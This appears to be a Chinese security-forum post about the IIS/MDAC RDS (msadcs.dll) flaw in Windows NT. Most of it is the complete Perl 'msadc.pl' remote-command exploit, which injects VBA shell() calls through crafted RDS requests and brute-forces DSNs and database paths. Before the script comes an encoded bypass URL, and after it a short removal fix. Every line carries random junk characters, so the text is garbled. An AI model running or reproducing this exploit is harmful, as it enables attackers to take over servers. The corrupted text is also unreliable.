IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i+AUQ0Zbf6 V6+Zh>'S 涉及程序:
%MuaW(I o Microsoft NT server
oCA(FQ6 f0FP9t3k 描述:
!a[$)c 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
w \DspF W.$6pzB( 详细:
ee<H@LeG 如果你没有时间读详细内容的话,就删除:
J@<!q c:\Program Files\Common Files\System\Msadc\msadcs.dll
[<Jp#&u6sb 有关的安全问题就没有了。
Nt,~b^9 {F!v+W> 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
8^T2^gs UoRDeYQ`E 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
@+t (xCv 关于利用ODBC远程漏洞的描述,请参看:
i;]CL[#2e` ai^t=
s http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B^m!t7/, M[z3 f 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
>)y$mc6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp YkI9d&ib+ DZP*x 这里不再论述。
97]4
:Zv Y?t2,cm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Yj3*)k QQ~23TlA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2L[l'} 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
qmID-t" s7M}NA 0 J{!'f|
J #将下面这段保存为txt文件,然后: "perl -x 文件名"
|hD~6a cIZ[[(Db #!perl
mQ=sNZ-d] #
(HJ$lxk<2h # MSADC/RDS 'usage' (aka exploit) script
tj0Qr-/ #
1t#XQ?8 # by rain.forest.puppy
.FJj #
k-vA# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B{99gwMe] # beta test and find errors!
AZBC P OA5f} + use Socket; use Getopt::Std;
i*z0Jf[" getopts("e:vd:h:XR", \%args);
8~qlLa>jc 19&)Yd1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%yKKUZ~ vG3M5G if (!defined $args{h} && !defined $args{R}) {
ki4Xp'IK print qq~
uAT/6@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Of&"U/^ -h <host> = host you want to scan (ip or domain)
?V?<E=13 -d <seconds> = delay between calls, default 1 second
[%?hCc -X = dump Index Server path table, if available
sL8>GtVo -v = verbose
;L$,gn5H -e = external dictionary file for step 5
d.I%k1`( g41<8^( Or a -R will resume a command session
`/c@nxh I3An57YV]. ~; exit;}
5f{wJb2 [x|)}P7%s $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
w_!%'9m> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2$Wo&Q^_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S%{lJYwXt if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
UI_v3c3b $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FNlx1U[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yeNvQG g<a<{| if (!defined $args{R}){ $ret = &has_msadc;
q55M8B 4w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}EP|Mb c`pYc print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Cg7)S[zl . "cmd /c ";
c~37+^B: $in=<STDIN>; chomp $in;
'rvE $command="cmd /c " . $in ;
w#rVSSXQ3 :U8k|,~f if (defined $args{R}) {&load; exit;}
hu&n=6 IG&B2* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
U(!?d ]en &try_btcustmr;
w?i)/q :S#i9# aB print "\nStep 2: Trying to make our own DSN...";
~7dF/Nn5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oHk27U G [)0
R'xL6 print "\nStep 3: Trying known DSNs...";
f:&)" &known_dsn;
IBDVFA ^t7_3%%w print "\nStep 4: Trying known .mdbs...";
7<vy;"wB &known_mdb;
X= SG 8M~u_`6 if (defined $args{e}){
CxkMhd8qz print "\nStep 5: Trying dictionary of DSN names...";
nqrDT1b** &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>I|<^$/ 1B(G]o_>! print "Sorry Charley...maybe next time?\n";
zv,\@Z9.($ exit;
i:{:xKiC a PQ i
}Evxa ##############################################################################
fmBkB8 >r~|1kQ. sub sendraw { # ripped and modded from whisker
/K[]B]1NE sleep($delay); # it's a DoS on the server! At least on mine...
^SgN(-QH my ($pstr)=@_;
$.;iu2iyo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K('
9l& A die("Socket problems\n");
vWuyft* if(connect(S,pack "SnA4x8",2,80,$target)){
'Z y{mq\ select(S); $|=1;
~RAzFLt6x print $pstr; my @in=<S>;
$Q=$?>4U select(STDOUT); close(S);
pRb<wt7v return @in;
}&C dsCM>2 } else { die("Can't connect...\n"); }}
u6f4yQ A_aO}oBX ##############################################################################
=I7[L{+~Y L-j/R1fTvl sub make_header { # make the HTTP request
y>4p~ my $msadc=<<EOT
~6] )*y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=?^-P{:\? User-Agent: ACTIVEDATA
,Io0ZE>`V Host: $ip
Kjv2J;Xuh Content-Length: $clen
[@x Connection: Keep-Alive
V@Ax}<$A $vz_%Y ADCClientVersion:01.06
OW?uZ<z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>=bt X,&`WPA:S --!ADM!ROX!YOUR!WORLD!
3F;EE: Content-Type: application/x-varg
e5QOB/e& Content-Length: $reqlen
$x/J+9Ww 3Sk5I% EOT
EkDws`@ ; $msadc=~s/\n/\r\n/g;
9GtLMpy return $msadc;}
makaI0M AwtIWH*e ##############################################################################
kja4!_d 6V+V
zDo sub make_req { # make the RDS request
F_K my ($switch, $p1, $p2)=@_;
ShsJ_/C2 my $req=""; my $t1, $t2, $query, $dsn;
N!]PIWnC ,nI_8r"M> if ($switch==1){ # this is the btcustmr.mdb query
]Qh[%GD $query="Select * from Customers where City=" . make_shell();
$3lt{ % $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
t$tsWAmiA[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!,I7 ?O u<x[5xH+ elsif ($switch==2){ # this is general make table query
LAj}kW~ $query="create table AZZ (B int, C varchar(10))";
Oib[\O7[z $dsn="$p1";}
|{zHM2 3gD O}e|P~W elsif ($switch==3){ # this is general exploit table query
(\T8!s{AO $query="select * from AZZ where C=" . make_shell();
w{RNv%hJ$= $dsn="$p1";}
q/A/3/ O 0Vn";Q 4 elsif ($switch==4){ # attempt to hork file info from index server
dBsRm{aS $query="select path from scope()";
*sjj"^'= $dsn="Provider=MSIDXS;";}
?.]o_L_K i-|/2I9 % elsif ($switch==5){ # bad query
f34_?F<h $query="select";
CX1L(Y[ $dsn="$p1";}
h<+PP]l= -7&^jP\, $t1= make_unicode($query);
?T tQZ $t2= make_unicode($dsn);
vd2uD2%con $req = "\x02\x00\x03\x00";
Q@PJ)fwN $req.= "\x08\x00" . pack ("S1", length($t1));
&8pCHGmV) $req.= "\x00\x00" . $t1 ;
(7M^-_q]D $req.= "\x08\x00" . pack ("S1", length($t2));
@$2`DI{_^ $req.= "\x00\x00" . $t2 ;
(xI)"{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Tnzco return $req;}
VaOpO8y` AN|jFSQ' ##############################################################################
4he v
; zv8aV2?D sub make_shell { # this makes the shell() statement
r)) $XM return "'|shell(\"$command\")|'";}
6-)7:9y ;D%$Eh&oma ##############################################################################
LsuAOB 8 Fr1;)WV sub make_unicode { # quick little function to convert to unicode
md1EJ1\14 my ($in)=@_; my $out;
2tm~QL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
#j(q/
T{x return $out;}
tI/mE[W x.j Yip ##############################################################################
MzBfHt'Rk 9^6|ta0;0 sub rdo_success { # checks for RDO return success (this is kludge)
,-w-su=J_ my (@in) = @_; my $base=content_start(@in);
$)kk8Q4+K if($in[$base]=~/multipart\/mixed/){
jx^|2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q
`J,dzY return 0;}
L,s|gtv o=mq$Z:} ##############################################################################
hNu>s 4d{"S02h sub make_dsn { # this makes a DSN for us
r[C3u[ my @drives=("c","d","e","f");
D#vn {^c8O print "\nMaking DSN: ";
tJ(c<:zD foreach $drive (@drives) {
wgSR*d>y*9 print "$drive: ";
g=8|z#S my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
):|G
kSm "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@&nx;K6h . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
^.pE`l%1} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
m'G?0^Ft return 0 if $2 eq "404"; # not found/doesn't exist
N7RG5? if($2 eq "200") {
&0;{lS[N:L foreach $line (@results) {
P#vv+]/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3B!&ow<rt } return 0;}
N}.Q%&6: sRo<4U0M;l ##############################################################################
)A>U<n $h Zi[{\7a sub verify_exists {
wiK@o$S- my ($page)=@_;
lOowMlf@2 my @results=sendraw("GET $page HTTP/1.0\n\n");
W TXD4} return $results[0];}
ZNL;8sI?> *@$($<pY& ##############################################################################
#z-iL!? V7KtbL# sub try_btcustmr {
($[r>)TG my @drives=("c","d","e","f");
AAlmG9l&7 my @dirs=("winnt","winnt35","winnt351","win","windows");
~PU1vbv9T h%CEb< foreach $dir (@dirs) {
cEh0Vh-] print "$dir -> "; # fun status so you can see progress
.,d$%lN foreach $drive (@drives) {
^a:vJ)WB7 print "$drive: "; # ditto
e4>L@7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
IGF37';; $reqlenlen=length( "$reqlen" );
xVh\GU855 $clen= 206 + $reqlenlen + $reqlen;
(dO'_s&M]/ )<]w23i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
q>(I*=7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1?e>x91 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~u~[E s= GOB"G ##############################################################################
V1CSXY\2 M<M#<kD sub odbc_error {
A
.jp<> my (@in)=@_; my $base;
\gJapx( my $base = content_start(@in);
Hb@G*L$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4$q)e<- $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_x,-d|9bd $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}]n>A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-Fok%iQ'5 return $in[$base+4].$in[$base+5].$in[$base+6];}
,
$D&WH print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
BRSgB-Rr7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
XEgx#F ;F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Im' :sJ31 *$4A|EA V ##############################################################################
k_En_\c?p2 <g/(wSl sub verbose {
5b{yA~ty my ($in)=@_;
>2/wzsW return if !$verbose;
QBPvGnb print STDOUT "\n$in\n";}
#<WyId( 5u
u2 _B_L ##############################################################################
3wa<,^kqy r:8]\RU sub save {
5.C[)`_ my ($p1, $p2, $p3, $p4)=@_;
P98X[0& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
-UD~>s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
==e#CSJq close OUT;}
X,JWLS J 0,L$x*Nj5 ##############################################################################
H[_uVv;}6 K#6`LL m sub load {
iEJQ#5))0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ei?9M^w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^]sMy7X0IK @p=<IN>; close(IN);
esC\R4he $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
23u1nU[0 $target= inet_aton($ip) || die("inet_aton problems");
BhE~k?$9 print "Resuming to $ip ...";
# 1qVFU $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
b/n8UxA if($p[1]==1) {
`
HE:D2b $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
b0z{"
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
$jm>tW&; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
abJ@>7V if (rdo_success(@results)){print "Success!\n";}
C}8e<[}) else { print "failed\n"; verbose(odbc_error(@results));}}
Vf,~MG elsif ($p[1]==3){
l~Wk07r3 if(run_query("$p[3]")){
GHgEbiY: print "Success!\n";} else { print "failed\n"; }}
i6g[E4nk elsif ($p[1]==4){
3Ld ;zW if(run_query($drvst . "$p[3]")){
+{Vwz print "Success!\n"; } else { print "failed\n"; }}
sKB-7 exit;}
:9rhv{6Wp ubN"(F:!-S ##############################################################################
SU#P.y18% X-ki%jp3 sub create_table {
Zm8
u: my ($in)=@_;
Sfr\%Buv $reqlen=length( make_req(2,$in,"") ) - 28;
lJ>QTZH!wW $reqlenlen=length( "$reqlen" );
`6S=KRv $clen= 206 + $reqlenlen + $reqlen;
BqEubP(si my @results=sendraw(make_header() . make_req(2,$in,""));
<cfH'~ return 1 if rdo_success(@results);
J!K/7uS my $temp= odbc_error(@results); verbose($temp);
X^_+%U return 1 if $temp=~/Table 'AZZ' already exists/;
xO9]yULgu return 0;}
Z\gg<Q d`],l\oC ##############################################################################
{+UNjKQC v YmtpKNj% sub known_dsn {
aa YQ< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8yo6v3JqC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
#u2&8-Gh "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.jGsO0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
|<Dx <}Wy;!L foreach $dSn (@dsns) {
!wR{Y[Yu print ".";
.L(j@I t next if (!is_access("DSN=$dSn"));
18w^7!F?~u if(create_table("DSN=$dSn")){
tU2t oV print "$dSn successful\n";
8|-mzb& if(run_query("DSN=$dSn")){
,,H$>r_; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I }W-5% print "Something's borked. Use verbose next time\n";}}} print "\n";}
[|;Zxb: ':R3._tw\ ##############################################################################
k\thEEVP0* 8$jT#\_ sub is_access {
g$-D?~(Z my ($in)=@_;
=*>4Gh
i $reqlen=length( make_req(5,$in,"") ) - 28;
}vxH)U6$q $reqlenlen=length( "$reqlen" );
(h>X:! $clen= 206 + $reqlenlen + $reqlen;
~:b:_ 5" my @results=sendraw(make_header() . make_req(5,$in,""));
gc8PA_bFz my $temp= odbc_error(@results);
]gZ8b-
2O verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<iprPk return 0;}
D15u1A _d=&9d#=\ ##############################################################################
`=l{kBZT| \A\yuJ= sub run_query {
=wR]X*Pan my ($in)=@_;
'hi\98y $reqlen=length( make_req(3,$in,"") ) - 28;
:iNAXy $reqlenlen=length( "$reqlen" );
r5qx! > $clen= 206 + $reqlenlen + $reqlen;
IOSoc 7+" my @results=sendraw(make_header() . make_req(3,$in,""));
$}nUK~$GSv return 1 if rdo_success(@results);
hy&Hl my $temp= odbc_error(@results); verbose($temp);
z9kX`M+ return 0;}
<%#y^_ q~dg ##############################################################################
@G$<6CG\ 3;l>x/amk sub known_mdb {
.s*EV!SE my @drives=("c","d","e","f","g");
?kFCYZK|" my @dirs=("winnt","winnt35","winnt351","win","windows");
+=H>s;B my $dir, $drive, $mdb;
tD0>(41K my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[dF=1E>W_J w{O3P"N2 # this is sparse, because I don't know of many
]3y5b9DuW my @sysmdbs=( "\\catroot\\icatalog.mdb",
&MQt2aL "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
aE cg_es "\\system32\\certmdb.mdb",
g*c\'~f; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i7FR78^ ._8cJf.ae my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HXV73rDA "\\cfusion\\cfapps\\forums\\forums_.mdb",
Di"9 M(6vf "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+2fJ "\\cfusion\\cfapps\\security\\realm_.mdb",
L(n~@gq "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Jx>B %vZ\ "\\cfusion\\database\\cfexamples.mdb",
pD6g+Taj "\\cfusion\\database\\cfsnippets.mdb",
;I))gY-n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
DfzUGX "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
l5OV!<7~X "\\cfusion\\brighttiger\\database\\cleam.mdb",
)W6-h "\\cfusion\\database\\smpolicy.mdb",
:E&T}RN "\\cfusion\\database\cypress.mdb",
MH8%-UV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
hYv 6-5_ "\\website\\cgi-win\\dbsample.mdb",
<J}9.k "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|QTqa~~B "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
8EEQV} 4 ); #these are just
IS4K$Ac. foreach $drive (@drives) {
W#\};P
foreach $dir (@dirs){
32|L
$o foreach $mdb (@sysmdbs) {
$H@)hY8wA print ".";
2CgIY89O if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6')SJ*|yS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
@>nk^l if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M-K@n$k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
bnY8.Lpf| } else { print "Something's borked. Use verbose next time\n"; }}}}}
cB F%])! @#Uiy5N foreach $drive (@drives) {
I_I;.Ik foreach $mdb (@mdbs) {
WCl;#= print ".";
o4'4H y if(create_table($drv . $drive . $dir . $mdb)){
aq \TO? print "\n" . $drive . $dir . $mdb . " successful\n";
&r5%WRzpYT if(run_query($drv . $drive . $dir . $mdb)){
mL5f_Fb+ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
wR+`("2{r } else { print "Something's borked. Use verbose next time\n"; }}}}
BOQV X&g% }
si.a]k/f ~(L +4] ##############################################################################
9x^
/kAB m:Cx~ sub hork_idx {
'L59\y8H print "\nAttempting to dump Index Server tables...\n";
"v(]"L print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`/ReJj&~ $reqlen=length( make_req(4,"","") ) - 28;
uWtS83i $reqlenlen=length( "$reqlen" );
2pNJWYW" $clen= 206 + $reqlenlen + $reqlen;
"_@+/Iy. my @results=sendraw2(make_header() . make_req(4,"",""));
_"bvT?| if (rdo_success(@results)){
KP-z my $max=@results; my $c; my %d;
/D]r"- for($c=19; $c<$max; $c++){
:9q^ $results[$c]=~s/\x00//g;
UMW^0>Z!v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$hp?5KM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(IHBib " $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]%8;c $d{"$1$2"}="";}
;U3Vows foreach $c (keys %d){ print "$c\n"; }
*"sDaN0@R } else {print "Index server doesn't seem to be installed.\n"; }}
,vw`YKg gL"Q.ybA ##############################################################################
#&KE_n "(&`muIc sub dsn_dict {
(Ha}xwA~( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
c!wB'~MS# while(<IN>){
!
e,(Zz5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
s:F+bG}| next if (!is_access("DSN=$dSn"));
WvzvGT= if(create_table("DSN=$dSn")){
QGG(I7{- print "$dSn successful\n";
3CuoBb8 if(run_query("DSN=$dSn")){
@wJa33QT print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#|h8u` print "Something's borked. Use verbose next time\n";}}}
pdqa)>$ print "\n"; close(IN);}
aMg f6veM IMrOPwjc ##############################################################################
J,KTc'[ G/44gKl sub sendraw2 { # ripped and modded from whisker
-+@~*$
d sleep($delay); # it's a DoS on the server! At least on mine...
Awf=yE: my ($pstr)=@_;
ms<u YLp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zGz'2,o3 die("Socket problems\n");
xm,yqM!0A if(connect(S,pack "SnA4x8",2,80,$target)){
:?6$}GcW print "Connected. Getting data";
#f;1f8yrN open(OUT,">raw.out"); my @in;
> BCX%<& select(S); $|=1; print $pstr;
grAL4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r74w[6( close(OUT); select(STDOUT); close(S); return @in;
z( [ $,e\ } else { die("Can't connect...\n"); }}
p&doQh EoWzHa ##############################################################################
VZ@@j[F( NVZNQ{ sub content_start { # this will take in the server headers
1U9N8{xg9 my (@in)=@_; my $c;
HTpd~W/\ for ($c=1;$c<500;$c++) {
48rYs} if($in[$c] =~/^\x0d\x0a/){
D I[^H if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~M1%,] else { return $c+1; }}}
2]f.mq_PD return -1;} # it should never get here actually
t1g%o5?; @|A&\a-"J ##############################################################################
m?G+#k;K uxiX"0)g> sub funky {
o;I86dI6C my (@in)=@_; my $error=odbc_error(@in);
iGNKf|8{ if($error=~/ADO could not find the specified provider/){
xmd$Jol^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
IFoN<<7/2$ exit;}
oioN0EuDk if($error=~/A Handler is required/){
Ps4A
B#3 print "\nServer has custom handler filters (they most likely are patched)\n";
` &7?+s exit;}
]r5Xp#q2 if($error=~/specified Handler has denied Access/){
1K',Vw_ print "\nServer has custom handler filters (they most likely are patched)\n";
iqP0=(^m exit;}}
i.,B
0s]Z uW_ /7ex ##############################################################################
<_uv!N F$p,xFH# sub has_msadc {
}gaKO 5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
8GQs9 my $base=content_start(@results);
-ouL4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Ggjb86v\ return 0;}
|.nWy"L {'aqOlw3<j ########################
vjS7nR"T g&5VorGx 0k]N%!U 解决方案:
8#-}3~l[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`P*j~ZLlXN 2、移除web 目录: /msadc